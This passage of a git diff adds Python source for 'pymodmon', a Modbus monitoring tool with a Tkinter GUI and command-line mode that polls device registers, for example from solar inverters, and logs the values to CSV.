Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current 